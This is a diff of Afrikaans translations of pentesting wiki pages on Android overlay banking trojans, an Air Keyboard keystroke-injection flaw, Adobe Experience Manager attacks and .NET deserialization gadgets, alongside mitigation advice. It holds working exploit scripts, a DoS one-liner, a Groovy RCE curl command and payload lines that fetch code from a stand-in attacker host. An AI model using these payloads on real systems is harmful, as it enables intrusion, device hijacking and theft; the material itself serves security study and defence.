@ -55,9 +54,9 @@ Volg die **README-instruksies om dit te gebruik**.
|
||||
|
||||
Jy kan [**qark**](https://github.com/linkedin/qark) gebruik met die `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parameters om 'n kwaadwillige toepassing te skep om moontlike **Tapjacking** kwesbaarhede te toets.\
|
||||
|
||||
Die mitigasie is relatief eenvoudig aangesien die ontwikkelaar kan kies om nie aanraakgebeurtenisse te ontvang wanneer 'n weergawe deur 'n ander bedek word nie. Gebruik die [Android Ontwikkelaar se Verwysing](https://developer.android.com/reference/android/view/View#security):
|
||||
Die mitigasie is relatief eenvoudig aangesien die ontwikkelaar kan kies om nie aanraakgebeurtenisse te ontvang wanneer 'n weergawe deur 'n ander bedek word nie. Gebruik die [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
|
||||
|
||||
> Soms is dit noodsaaklik dat 'n toepassing in staat is om te verifieer dat 'n aksie uitgevoer word met die volle kennis en toestemming van die gebruiker, soos om 'n toestemming versoek toe te staan, 'n aankoop te doen of op 'n advertensie te klik. Ongelukkig kan 'n kwaadwillige toepassing probeer om die gebruiker te mislei om hierdie aksies uit te voer, sonder dat hulle daarvan bewus is, deur die beoogde doel van die weergawe te verberg. As 'n remedie bied die raamwerk 'n aanraakfiltreringsmeganisme wat gebruik kan word om die sekuriteit van weergawes wat toegang tot sensitiewe funksionaliteit bied, te verbeter.
|
||||
> Soms is dit noodsaaklik dat 'n toepassing in staat is om te verifieer dat 'n aksie uitgevoer word met die volle kennis en toestemming van die gebruiker, soos om 'n toestemming versoek toe te staan, 'n aankoop te doen of op 'n advertensie te klik. Ongelukkig kan 'n kwaadwillige toepassing probeer om die gebruiker te mislei om hierdie aksies uit te voer, sonder dat hulle daarvan bewus is, deur die beoogde doel van die weergawe te verberg. As 'n remedie bied die raamwerk 'n aanraakfiltermeganisme wat gebruik kan word om die sekuriteit van weergawes wat toegang tot sensitiewe funksionaliteit bied, te verbeter.
|
||||
>
|
||||
> Om aanraakfiltrering in te skakel, bel [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) of stel die android:filterTouchesWhenObscured uitleg eienskap op waar. Wanneer dit geaktiveer is, sal die raamwerk aanrakings wat ontvang word wanneer die weergawe se venster deur 'n ander sigbare venster bedek is, verwerp. As gevolg hiervan sal die weergawe nie aanrakings ontvang wanneer 'n toast, dialoog of ander venster bo die weergawe se venster verskyn nie.
|
||||
|
||||
@ -65,10 +64,10 @@ Die mitigasie is relatief eenvoudig aangesien die ontwikkelaar kan kies om nie a
|
||||
|
||||
## Toeganklikheid Oorlay Phishing (Banking-Trojan Variant)
|
||||
|
||||
Benewens klassieke Tapjacking, misbruik moderne Android bank malware gesinne (bv. **ToxicPanda**, BrasDex, Sova, ens.) die **Toeganklikheidsdiens** om 'n volle skerm WebView **oorlay** bo die wettige toepassing te plaas terwyl dit steeds in staat is om die **gebruikersinvoer** na die weergawe onder dit te stuur. Dit verhoog dramaties die geloofwaardigheid en stel aanvallers in staat om akrediteer, OTP's of selfs bedrogspeldtransaksies te steel.
|
||||
Benewens klassieke Tapjacking, misbruik moderne Android bank malware gesinne (bv. **ToxicPanda**, BrasDex, Sova, ens.) die **Toeganklikheidsdiens** om 'n volle skerm WebView **oorlay** bo die wettige toepassing te plaas terwyl dit steeds in staat is om die **gebruikersinvoer** na die weergawe ondertoe te stuur. Dit verhoog aansienlik die geloofwaardigheid en stel aanvallers in staat om geloofsbriewe, OTP's of selfs bedrogspesifieke transaksies te steel.
|
||||
|
||||
### Hoe dit werk
|
||||
1. Die kwaadwillige APK versoek die hoogs sensitiewe `BIND_ACCESSIBILITY_SERVICE` toestemming, gewoonlik deur die versoek agter 'n vals Google/Chrome/PDF-kyker dialoog te verberg.
|
||||
1. Die kwaadwillige APK versoek die hoogs sensitiewe `BIND_ACCESSIBILITY_SERVICE` toestemming, gewoonlik deur die versoek agter 'n vals Google/Chrome/PDF-kijker dialoog te verberg.
|
||||
2. Sodra die gebruiker die diens aktiveer, simuleer die malware programmaties die tikke wat benodig word om addisionele gevaarlike toestemmings (`READ_SMS`, `SYSTEM_ALERT_WINDOW`, `REQUEST_INSTALL_PACKAGES`, …) toe te staan.
|
||||
3. 'n **WebView** word opgeblase en by die vensterbestuurder gevoeg met die **`TYPE_ACCESSIBILITY_OVERLAY`** venstertipe. Die oorlay kan heeltemal ondoorzichtig of semi-deursigtig wees en kan as *“deur”* gemerk word sodat die oorspronklike aanrakings steeds aan die agtergrondaktiwiteit gelewer word (dus gebeur die transaksie werklik terwyl die slagoffer net die phishingvorm sien).
|
||||
```java
|
||||
@ -89,16 +88,16 @@ wm.addView(phishingView, lp);
|
||||
### Tipiese werksvloei gebruik deur bank Trojans
|
||||
* Vra geïnstalleerde pakkette (`QUERY_ALL_PACKAGES`) om uit te vind watter bank / beurs app tans oop is.
|
||||
* Laai 'n **HTML/JS oortrek sjabloon** van die C2 af wat daardie spesifieke toepassing perfek naboots (Logo, kleure, i18n strings…).
|
||||
* Vertoon die oortrek, versamel akkurate inligting/ PIN/patroon.
|
||||
* Vertoon die oortrek, versamel akkurate inligting/PIN/patroon.
|
||||
* Gebruik die **Accessibility API** (`performGlobalAction`, `GestureDescription`) om oordragte in die agtergrond te outomatiseer.
|
||||
|
||||
### Opsporing & Versagting
|
||||
* Ou dit die lys van geïnstalleerde toepassings met `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* Ou dit die lys van geïnstalleerde apps met `adb shell pm list packages -3 -e BIND_ACCESSIBILITY_SERVICE`.
|
||||
* Van die toepassing kant (bank / beurs):
|
||||
- Aktiveer **`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`** (Android 14+) op sensitiewe weergawes om nie-Play-Store dienste te blokkeer.
|
||||
- Kombineer met `setFilterTouchesWhenObscured(true)` en `FLAG_SECURE`.
|
||||
* Stelselharding:
|
||||
- Deaktiveer *Installeer van Onbekende Bronne* & *Toeganklikheid vir onbetroubare toepassings*.
|
||||
- Deaktiveer *Installeer van Onbekende Bronne* & *Toeganklikheid vir onbetroubare apps*.
|
||||
- Handhaaf PlayProtect & op datum toestelle.
|
||||
|
||||
## Verwysings
|
||||
|
@ -4,12 +4,12 @@
|
||||
|
||||
## TL;DR
|
||||
|
||||
Die iOS weergawe van die kommersiële **“Air Keyboard”** toepassing (App Store ID 6463187929) stel 'n plaaslike netwerkdiens bloot wat **toetsaanslag rame aanvaar sonder enige verifikasie of oorsprong verifikasie**. Afhangende van die geïnstalleerde weergawe is die diens of:
|
||||
Die iOS weergawe van die kommersiële **“Air Keyboard”** toepassing (App Store ID 6463187929) stel 'n plaaslike netwerkdiens bloot wat **toelaat dat toetsaanslagrame sonder enige verifikasie of oorsprongverifikasie aanvaar word**. Afhangende van die geïnstalleerde weergawe is die diens of:
|
||||
|
||||
* **≤ 1.0.4** – rou TCP luisteraar op **poort 8888** wat 'n 2-byte lengte kop volg deur 'n *device-id* en die ASCII payload verwag.
|
||||
* **≤ 1.0.4** – rou TCP luisteraar op **poort 8888** wat 'n 2-byte lengte kopstuk verwag gevolg deur 'n *device-id* en die ASCII payload.
|
||||
* **≥ 1.0.5 (Junie 2025)** – **WebSocket** luisteraar op die *dieselfde* poort (**8888**) wat **JSON** sleutels soos `{"type":1,"text":"…"}` ontleed.
|
||||
|
||||
Enige toestel op die dieselfde Wi-Fi / subnet kan dus **arbitraire sleutelbordinvoer in die slagoffer se foon inspuit, wat volle afstandsinteraksie oorname bereik**. 'n Genoot Android weergawe luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak steeds 'n **onbehandelde uitsondering binne OpenSSL**, wat die agtergronddiens laat crash (**DoS**).
|
||||
Enige toestel op dieselfde Wi-Fi / subnet kan dus **arbitraire sleutelbordinvoer in die slagoffer se foon inspuit, wat volle afstandinteraksie-hijacking bereik**. 'n Genoot Android-bou luister op **poort 55535**. Dit voer 'n swak AES-ECB handdruk uit, maar vervaardigde rommel veroorsaak steeds 'n **onbehandelde uitsondering binne OpenSSL**, wat die agtergronddiens laat crash (**DoS**).
|
||||
|
||||
> Die kwesbaarheid is **nog steeds nie reggestel ten tyde van skryf (Julie 2025)** en die toepassing bly beskikbaar in die App Store.
|
||||
|
||||
@ -82,7 +82,7 @@ with socket.create_connection((target_ip, 8888)) as s:
|
||||
s.sendall(frame)
|
||||
print("[+] Injected", keystrokes)
|
||||
```
|
||||
### 3.2 Teiken ≥ 1.0.5 (WebSocket)
|
||||
### 3.2 Teiken ≥ 1.0.5 (WebSocket)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
|
||||
@ -101,13 +101,13 @@ ws.send(json.dumps({
|
||||
ws.close()
|
||||
print("[+] URL opened on target browser")
|
||||
```
|
||||
*Enige drukbare ASCII — insluitend reëlvoeding, tabulatoren en die meeste spesiale sleutels — kan gestuur word, wat die aanvaller dieselfde mag gee as fisiese gebruikersinvoer: toepassings begin, IM's stuur, kwaadwillige URL's oopmaak, instellings wissel, ens.*
|
||||
*Enige drukbare ASCII — insluitend lynvoeding, tabulator en die meeste spesiale sleutels — kan gestuur word, wat die aanvaller dieselfde mag gee as fisiese gebruikersinvoer: om programme te begin, IM's te stuur, kwaadwillige URL's te open, instellings te wissel, ens.*
|
||||
|
||||
---
|
||||
|
||||
## 4. Android Companion – Denial-of-Service
|
||||
|
||||
Die Android-poort (55535) verwag 'n **4-karakter wagwoord wat met 'n hard-gecodeerde AES-128-ECB-sleutel geënkripteer is** gevolg deur 'n ewekansige nonce. Parsingsfoute borrel op na `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus voldoende om wettige gebruikers af te sluit totdat die proses weer herbegin word.
|
||||
Die Android-poort (55535) verwag 'n **4-karakter wagwoord wat met 'n hard-gecodeerde AES-128-ECB-sleutel geënkripteer is** gevolg deur 'n ewekansige nonce. Parsingsfoute borrel op na `AES_decrypt()` en word nie opgevang nie, wat die luisterdraad beëindig. 'n Enkele verkeerd gevormde pakket is dus voldoende om wettige gebruikers af te sluit totdat die proses weer begin word.
|
||||
```python
|
||||
import socket
|
||||
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
@ -118,9 +118,9 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
|
||||
|
||||
Air Keyboard is **nie 'n geïsoleerde geval** nie. Ander mobiele “remote keyboard/mouse” nutsgoed het met dieselfde fout verskyn:
|
||||
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 laat nie-geauthentiseerde opdraguitvoering en plain-text sleutel-loging toe.
|
||||
* **Telepad ≤ 1.0.7** – CVE-2022-45477/78 laat nie-geauthentiseerde opdraguitvoering en plain-text key-logging toe.
|
||||
* **PC Keyboard ≤ 30** – CVE-2022-45479/80 nie-geauthentiseerde RCE & verkeer snooping.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 standaard-nie-wagwoord, swak PIN brute-force en duidelike teks lekkasie.
|
||||
* **Lazy Mouse ≤ 2.0.1** – CVE-2022-45481/82/83 standaard-nie-wagwoord, swak PIN brute-force en clear-text lekkasie.
|
||||
|
||||
Hierdie gevalle beklemtoon 'n sistemiese verwaarlosing van **netwerk-gefokusde aanvaloppervlakke op mobiele programme**.
|
||||
|
||||
@ -130,7 +130,7 @@ Hierdie gevalle beklemtoon 'n sistemiese verwaarlosing van **netwerk-gefokusde a
|
||||
|
||||
1. **Geen oorsprong / integriteit kontroles** op inkomende rame (iOS).
|
||||
2. **Kryptografiese misbruik** (statische sleutel, ECB, ontbrekende lengte validasie) en **gebrek aan uitsondering hantering** (Android).
|
||||
3. **Gebruiker-toegepaste Plaaslike-Netwerk regte ≠ sekuriteit** – iOS vra runtime toestemming vir LAN verkeer, maar dit vervang nie behoorlike outentisering nie.
|
||||
3. **Gebruiker-toegepaste Plaaslike-Netwerk regte ≠ sekuriteit** – iOS vra runtime toestemming vir LAN verkeer, maar dit vervang nie behoorlike autentisering nie.
|
||||
|
||||
---
|
||||
|
||||
@ -139,16 +139,16 @@ Hierdie gevalle beklemtoon 'n sistemiese verwaarlosing van **netwerk-gefokusde a
|
||||
Ontwikkelaar aanbevelings:
|
||||
|
||||
* Bind die luisteraar aan **`127.0.0.1`** en tunnel oor **mTLS** of **Noise XX** indien afstandbeheer benodig word.
|
||||
* Ontleed **per-toestel geheime tydens onboarding** (bv. QR-kode of Paar PIN) en handhaaf *mutuele* outentisering voordat invoer verwerk word.
|
||||
* Ontleed **per-toestel geheime tydens onboarding** (bv. QR-kode of Pairing PIN) en handhaaf *mutuele* autentisering voordat invoer verwerk word.
|
||||
* Neem **Apple Network Framework** aan met *NWListener* + TLS in plaas van rou sokke.
|
||||
* Implementeer **lengte-prefix gesondheidskontroles** en gestruktureerde uitsondering hantering wanneer rame gedekript of gedecodeer word.
|
||||
* Implementeer **lengte-prefix sanity kontroles** en gestruktureerde uitsondering hantering wanneer rame gedekripteer of gedecodeer word.
|
||||
|
||||
Blou-/Rooi-span vinnige oorwinnings:
|
||||
|
||||
* **Netwerk jag:** `sudo nmap -n -p 8888,55535 --open 192.168.0.0/16` of Wireshark filter `tcp.port == 8888`.
|
||||
* **Runtime inspeksie:** Frida skrip wat `socket()`/`NWConnection` haak om onverwagte luisteraars te lys.
|
||||
* **Runtime inspeksie:** Frida script hooking `socket()`/`NWConnection` om onverwagte luisteraars te lys.
|
||||
* **iOS App Privaatheid Verslag (Instellings ▸ Privaatheid & Sekuriteit ▸ App Privaatheid Verslag)** beklemtoon programme wat LAN adresse kontak – nuttig om rogue dienste op te spoor.
|
||||
* **Mobiele EDRs** kan eenvoudige Yara-L reëls vir die JSON sleutels `"selectionStart"`, `"selectionEnd"` binne duidelike teks TCP payloads op poort 8888 byvoeg.
|
||||
* **Mobiele EDRs** kan eenvoudige Yara-L reëls vir die JSON sleutels `"selectionStart"`, `"selectionEnd"` binne clear-text TCP payloads op poort 8888 byvoeg.
|
||||
|
||||
---
|
||||
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> Adobe Experience Manager (AEM, deel van die Adobe Experience Cloud) is 'n ondernemings CMS wat bo-op Apache Sling/Felix (OSGi) en 'n Java Content Repository (JCR) loop.
|
||||
> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard geloofsbriewe en 'n lang ster van CVE's bloot wat elke kwartaal reggestel word.
|
||||
> Vanuit 'n aanvaller se perspektief stel AEM-instansies baie dikwels gevaarlike ontwikkelings eindpunte, swak Dispatcher-reëls, standaard akrediteer en 'n lang stert van CVE's bloot wat elke kwartaal reggestel word.
|
||||
|
||||
Die kontrolelys hieronder fokus op **extern bereikbare (unauth) aanval oppervlak** wat voortdurend in werklike betrokkenhede verskyn (2022-2025).
|
||||
|
||||
@ -23,7 +23,7 @@ Ander vinnige aanwysers:
|
||||
|
||||
---
|
||||
|
||||
## 2. Hoëwaarde nie-geoutentiseerde eindpunte
|
||||
## 2. Hoë-waarde nie-geoutentiseerde eindpunte
|
||||
|
||||
Pad | Wat jy kry | Aantekeninge
|
||||
---- | ------------- | -----
|
||||
@ -33,20 +33,20 @@ Pad | Wat jy kry | Aantekeninge
|
||||
`/crx/packmgr/index.jsp` | Pakketbestuurder | Laat geoutentiseerde inhoudspakkette toe → JSP payload oplaai.
|
||||
`/etc/groovyconsole/**` | AEM Groovy Konsole | As blootgestel → arbitrêre Groovy / Java uitvoering.
|
||||
`/libs/cq/AuditlogSearchServlet.json` | Oudit logs | Inligtingsontsluiting.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs storting | XSS vektor.
|
||||
`/libs/cq/ui/content/dumplibs.html` | ClientLibs dump | XSS-vak.
|
||||
|
||||
### Dispatcher omseiling truuk
|
||||
Meeste produksie webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg:
|
||||
Meeste produksie-webwerwe sit agter die *Dispatcher* (omgekeerde proxy). Sy filterreëls kan omseil word deur 'n toegelate statiese uitbreiding **na 'n puntkomma of geënkodeerde nuwe lyn** by te voeg:
|
||||
```
|
||||
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
|
||||
```
|
||||
'n Enkele versoek soos hierbo openbaar gereeld gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】
|
||||
'n Enkele versoek soos hierbo openbaar dikwels gebruikersprofielknope met e-posadresse. P-T Partners het goeie leiding oor hierdie swakheid gepubliseer. 【】
|
||||
|
||||
---
|
||||
|
||||
## 3. Algemene miskonfigurasies (nog steeds lewendig in 2025)
|
||||
|
||||
1. **Anonieme POST servlet** – `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】
|
||||
1. **Anonieme POST servlet** – `POST /.json` met `:operation=import` laat jou toe om nuwe JCR knope te plant. Om `*.json` POST in die Dispatcher te blokkeer, los dit op. 【】
|
||||
2. **Wêreldleesbare gebruikersprofiele** – standaard ACL verleen `jcr:read` op `/home/users/**/profile/*` aan almal.
|
||||
3. **Standaard akrediteer** – `admin:admin`, `author:author`, `replication:replication`.
|
||||
4. **WCMDebugFilter** geaktiveer ⇒ weerspieëlde XSS via `?debug=layout` (CVE-2016-7882, steeds gevind op erfenis 6.4 installasies).
|
||||
@ -57,14 +57,14 @@ curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groov
|
||||
|
||||
---
|
||||
|
||||
## 4. Onlangse kwesbaarhede (dienspakket ritme)
|
||||
## 4. Onlangse kwesbaarhede (dienspakket kadens)
|
||||
|
||||
Kwartaal | CVE | Aangetaste | Impak
|
||||
Kwartaal | CVE | Aangetas | Impak
|
||||
------- | --- | -------- | ------
|
||||
Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akte). 【】
|
||||
Des 2024 | **CVE-2024-43711** | 6.5.21 en vroeër | Onbehoorlike invoervalidasie → **Arbitraire kode-uitvoering** (vereis lae-priv akker). 【】
|
||||
Des 2024 | CVE-2024-43724/26 | 6.5.21 en vroeër | DOM / Gestoor XSS in Move Page Wizard. 【】
|
||||
Des 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | DOM-gebaseerde XSS via vervaardigde URL. 【】
|
||||
Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Krypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】
|
||||
Des 2022 | CVE-2022-30683 | ≤ 6.5.13 | Crypto ontwerpfout → geheime ontsleuteling (benodig lae-priv akrediteer). 【】
|
||||
|
||||
Kontroleer altyd die *APSB* bulletin wat ooreenstem met die kliënt se dienspakket en vra die nuutste **6.5.22** of *Cloud Service 2024.11*.
|
||||
|
||||
@ -93,11 +93,11 @@ Now request `/content/evil.jsp` – die JSP loop met die AEM proses gebruiker.
|
||||
|
||||
## 6. Gereedskap
|
||||
|
||||
* **aem-hacker** – Swiss-army enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
|
||||
* **aem-hacker** – Switserse leër enumerasie skrip, ondersteun dispatcher omseiling, SSRF opsporing, standaard-kredens kontrole en meer.
|
||||
```bash
|
||||
python3 aem_hacker.py -u https://target --host attacker-ip
|
||||
```【】
|
||||
* **Inhoud Brute-force** – herhalend versoek `/_jcr_content.(json|html)` om versteekte komponente te ontdek.
|
||||
* **Inhoud Brute-force** – herhalend versoek `/_jcr_content.(json|html)` om verborge komponente te ontdek.
|
||||
* **osgi-infect** – laai kwaadwillige OSGi bundel op via `/system/console/bundles` as kredens beskikbaar is.
|
||||
|
||||
---
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Hierdie pos is toegewy aan **die begrip van hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget.
|
||||
Hierdie pos is toegewy aan **die begrip hoe die gadget ObjectDataProvider uitgebuit word** om RCE te verkry en **hoe** die Serialisering biblioteke **Json.Net en xmlSerializer misbruik kan word** met daardie gadget.
|
||||
|
||||
## ObjectDataProvider Gadget
|
||||
|
||||
@ -56,10 +56,10 @@ Let wel dat jy as verwysing _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\P
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Met die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserialiseer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserialiseer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
Met behulp van die vorige ontploffing sal daar gevalle wees waar die **object** as 'n _**ObjectDataProvider**_ instansie **gedeserializeer gaan word** (byvoorbeeld in die DotNetNuke kwesbaarheid, met die gebruik van XmlSerializer, is die object gedeserializeer met `GetType`). Dan sal daar **geen kennis wees van die objektipe wat in die _ObjectDataProvider_ instansie ingepak is** (`Process` byvoorbeeld). Jy kan meer [inligting oor die DotNetNuke kwesbaarheid hier vind](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
|
||||
|
||||
Hierdie klas laat toe om die **objektipe van die objek wat ingekapsel is** in 'n gegewe instansie te **specifiseer**. So, hierdie klas kan gebruik word om 'n bronobjek (_ObjectDataProvider_) in 'n nuwe objektipe in te kapsuleer en die eienskappe wat ons nodig het (_ObjectDataProvider.MethodName_ en _ObjectDataProvider.MethodParameters_).\
|
||||
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **_ObjectDataProvider**_** binne 'n **_**ExpandedWrapper** _ instansie te **wrappen** en **wanneer dit gedeserialiseer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui is, sal **uitvoer**.
|
||||
Dit is baie nuttig vir gevalle soos die een wat voorheen aangebied is, want ons sal in staat wees om **_ObjectDataProvider**_ in 'n **_**ExpandedWrapper**_ instansie te **wrappen** en **wanneer dit gedeserializeer word** sal hierdie klas die _**OjectDataProvider**_ objek **skep** wat die **funksie** wat in _**MethodName**_ aangedui word, sal **uitvoer**.
|
||||
|
||||
Jy kan hierdie wrapper met die volgende kode nagaan:
|
||||
```java
|
||||
@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
In hierdie kode kan jy **die exploit toets**, net dit uitvoer en jy sal sien dat 'n kalkulator uitgevoer word:
|
||||
In hierdie kode kan jy **die exploit toets**, hardloop dit net en jy sal sien dat 'n calc uitgevoer word:
|
||||
```java
|
||||
using System;
|
||||
using System.Text;
|
||||
@ -194,8 +194,8 @@ Hieronder is 'n saamgeperste verwysing van die nuttigste kettings wat saam met *
|
||||
|----------------|--------------------------|----------------------|------------------|
|
||||
| **TypeConfuseDelegate** | Korrupt die `DelegateSerializationHolder` rekord sodat, sodra dit gematerialiseer is, die delegate na *enige* aanvaller verskafde metode wys (bv. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
|
||||
| **ActivitySurrogateSelector** | Misbruik `System.Workflow.ComponentModel.ActivitySurrogateSelector` om *te omseil .NET ≥4.8 tipe-filtering* en direk die **konstruktors** van 'n verskafde klas aan te roep of 'n C#-lêer ter plaatse te **kompiler** | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
|
||||
| **DataSetOldBehaviour** | Maak gebruik van die **erfgoed XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Op WPF-geaktiveerde runtimes (> .NET 5) kettings eienskap getters totdat dit `System.CodeDom.Compiler.CompilerResults` bereik, dan *kompiler* of *laai* 'n DLL wat met `-c` verskaf word | `Json.NET` typeloos, `MessagePack` typeloos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **DataSetOldBehaviour** | Maak gebruik van die **erf XML** voorstelling van `System.Data.DataSet` om arbitrêre tipes te instansieer deur die `<ColumnMapping>` / `<DataType>` velde in te vul (opsioneel die assembly te vervals met `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
|
||||
| **GetterCompilerResults** | Op WPF-geaktiveerde runtime (> .NET 5) kettings eiendom getters totdat dit `System.CodeDom.Compiler.CompilerResults` bereik, dan *kompiler* of *laai* 'n DLL wat met `-c` verskaf is | `Json.NET` typeloos, `MessagePack` typeloos | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
|
||||
| **ObjectDataProvider** (hersien) | Gebruik WPF `System.Windows.Data.ObjectDataProvider` om 'n arbitrêre statiese metode met beheerde argumente aan te roep. YSoNet voeg 'n gerieflike `--xamlurl` variasie by om die kwaadwillige XAML op afstand te huisves | `BinaryFormatter`, `Json.NET`, `XAML`, *ens.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
|
||||
| **PSObject (CVE-2017-8565)** | Inbed `ScriptBlock` in `System.Management.Automation.PSObject` wat uitvoer wanneer PowerShell die objek deserialiseer | PowerShell afstandsbediening, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
|
||||
|
||||
@ -204,7 +204,7 @@ Hieronder is 'n saamgeperste verwysing van die nuttigste kettings wat saam met *
|
||||
|
||||
### Bou / Installeer YSoNet
|
||||
|
||||
As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases*, sal die volgende **PowerShell** een-liner 'n bou omgewing opstel, die repository kloon en alles in *Release* modus kompileer:
|
||||
As daar geen vooraf-gecompileerde binaries beskikbaar is onder *Actions ➜ Artifacts* / *Releases*, sal die volgende **PowerShell** een-liner 'n bou omgewing opstel, die repository kloon en alles in *Release* modus compileer:
|
||||
```powershell
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force;
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
|
||||
@ -216,10 +216,10 @@ cd ysonet
|
||||
nuget restore ysonet.sln
|
||||
msbuild ysonet.sln -p:Configuration=Release
|
||||
```
|
||||
Die saamgestelde `ysonet.exe` kan dan onder `ysonet/bin/Release/` gevind word.
|
||||
Die gecompileerde `ysonet.exe` kan dan onder `ysonet/bin/Release/` gevind word.
|
||||
|
||||
### Opsporing & Versterking
|
||||
* **Detecteer** onverwagte kindprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruikersverskafde data deserialiseer (bv. `MessagePack`, `Json.NET`).
|
||||
* **Spore** onverwagte kindprosesse van `w3wp.exe`, `PowerShell.exe`, of enige proses wat gebruikersverskafde data deserialiseer (bv. `MessagePack`, `Json.NET`).
|
||||
* Aktiveer en **handhaaf tipe-filtering** (`TypeFilterLevel` = *Volledig*, pasgemaakte `SurrogateSelector`, `SerializationBinder`, *ens.*) wanneer die ou `BinaryFormatter` / `NetDataContractSerializer` nie verwyder kan word nie.
|
||||
* Waar moontlik migreer na **`System.Text.Json`** of **`DataContractJsonSerializer`** met witlys-gebaseerde omskakelaars.
|
||||
* Blokkeer gevaarlike WPF-biblioteke (`PresentationFramework`, `System.Workflow.*`) om in webprosesse gelaai te word wat dit nooit nodig behoort te hê nie.
|
||||
|
@ -14,11 +14,11 @@ Die Java `Serializable`-koppelvlak (`java.io.Serializable`) is 'n merk-koppelvla
|
||||
2. `readResolve()` – kan die gedeserialiseerde objek met 'n ander een vervang.
|
||||
3. `validateObject()` – via `ObjectInputValidation` terugroepe.
|
||||
4. `readExternal()` – vir klasse wat `Externalizable` implementeer.
|
||||
5. Konstruktors word **nie** uitgevoer nie – daarom staat gadgetkettings uitsluitlik op die vorige terugroepe.
|
||||
5. Konstruktors word **nie** uitgevoer nie – daarom is gadgetkettings uitsluitlik afhanklik van die vorige terugroepe.
|
||||
|
||||
Enige metode in daardie ketting wat uiteindelik aanvaller-beheerde data aanroep (opdraguitvoering, JNDI soektogte, refleksie, ens.) verander die deserialisering roetine in 'n RCE gadget.
|
